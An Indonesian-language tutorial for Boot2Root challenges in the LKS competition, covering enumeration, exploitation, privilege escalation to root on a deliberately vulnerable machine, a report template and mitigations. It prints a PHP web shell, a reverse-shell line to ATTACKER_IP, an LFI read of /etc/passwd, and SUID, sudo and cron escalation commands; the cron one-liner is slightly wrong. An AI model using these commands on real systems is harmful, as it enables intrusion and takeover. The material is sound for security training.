

Boot2Root (B2R) pada kompetisi seperti LKS pada dasarnya mensimulasikan proses penetration testing terhadap sebuah mesin target yang sengaja dibuat rentan.

Alur Umum Boot2Root

1. Reconnaissance & Enumeration

Tujuan: Mengumpulkan informasi sebanyak mungkin.

Tools:

Nmap

Rustscan

Netcat

WhatWeb

Gobuster

Feroxbuster

Contoh:

```
nmap -sC -sV -A 192.168.1.10
```

Output:

```
21/tcp ftp
22/tcp ssh
80/tcp http
```

Analisis:

FTP terbuka

SSH terbuka

Website berjalan

2. Service Enumeration

Tujuan: Mencari informasi dari setiap service.

FTP

```
ftp 192.168.1.10
```

Coba:

```
anonymous
anonymous
```

Jika berhasil:

ls
get backup.zip

HTTP

Buka browser:

http://192.168.1.10

Lakukan:

gobuster dir \
-u http://192.168.1.10 \
-w /usr/share/wordlists/dirb/common.txt

Misal ditemukan:

/admin
/uploads
/backup

SSH

Cari:

Username bocor

Password reuse

Private key

3. Vulnerability Assessment

Cari:

SQL Injection

LFI

RCE

SSRF

Command Injection

CVE tertentu

Contoh:

?page=index.php

Ubah:

?page=../../../../etc/passwd

Jika keluar:

root:x:0:0:root:/root:/bin/bash

Berarti ada LFI.

4. Initial Access

Tujuan: Mendapat shell pertama.

Contoh dari upload shell:

```
<?php system($_GET['cmd']); ?>
```

Akses:

http://target/shell.php?cmd=id

Lalu reverse shell:

nc -lvnp 4444

http://target/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Dapat shell:

www-data@target:~\$

5. Stabilize Shell

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
export TERM=xterm
```

```
stty rows 40 cols 120
```

6. Privilege Escalation

Ini bagian paling penting.

Enumerasi

Tools:

linpeas.sh

atau manual:

sudo -l

find / -perm -4000 2>/dev/null

crontab -l

ps aux

netstat -tulpn

Sudo Misconfiguration

Misal:

(user) NOPASSWD: /usr/bin/vim

Maka:

sudo vim -c '!/bin/bash'

Menjadi:

root@target#

SUID Abuse

Misal:

find / -perm -4000 2>/dev/null

Ketemu:

/usr/bin/find

Exploit:

find . -exec /bin/sh -p \; -quit

Root shell.

Cron Job Abuse

Misal:

* * * * * root /opt/backup.sh

File dapat ditulis:

```
echo "bash -c 'bash -i && /dev/tcp/IP/4444 0>&1'" >> backup.sh
```

Tunggu cron berjalan.

Root.

7. Capture Flag

Biasanya:

```
find / -name flag* 2>/dev/null
```

Contoh:

```
/home/user1/flag.txt  
/home/user2/flag.txt  
/root/root.txt
```

Struktur Laporan POC

Informasi Target

IP: 192.168.1.10
OS: Linux

Enumerasi

21 FTP
22 SSH
80 HTTP

Screenshot hasil Nmap.

Kerentanan

Contoh:

File Upload Vulnerability

Deskripsi:

Aplikasi tidak memvalidasi ekstensi file.

Exploitasi

Langkah:

1. Upload shell.php
2. Akses shell.php
3. Reverse shell berhasil

Bukti:

```
www-data@target$
```

Privilege Escalation

Temuan:

SUID find

Eksplorasi:

```
find . -exec /bin/sh -p \; -quit
```

Bukti:

```
root@target#
```

Flag

User Rendah:

FLAG{...}

User Menengah:

FLAG{...}

Root:

FLAG{...}

Rekomendasi Mitigasi

File Upload

Whitelist ekstensi

Validasi MIME Type

Simpan file di luar webroot

SUID

Hapus SUID yang tidak diperlukan

```
chmod u-s /usr/bin/find
```

Password

Gunakan password kuat

Nonaktifkan akun default

Service

Tutup port yang tidak digunakan

Firewall aktif

Patch

Update sistem operasi

Patch CVE yang ditemukan

Untuk LKS Jawa Barat, fokus latihan pada urutan berikut:

1. Nmap Enumeration
2. Web Enumeration (Gobuster/Feroxbuster)
3. FTP Enumeration
4. Linux Privilege Escalation
5. SUID Abuse
6. Cron Abuse
7. SSH Key Abuse
8. SQL Injection dasar
9. LFI → RCE

10. Menulis laporan POC dan mitigasi

Jika sudah menguasai ini, sebagian besar soal Boot2Root tingkat LKS dapat dikerjakan secara sistematis.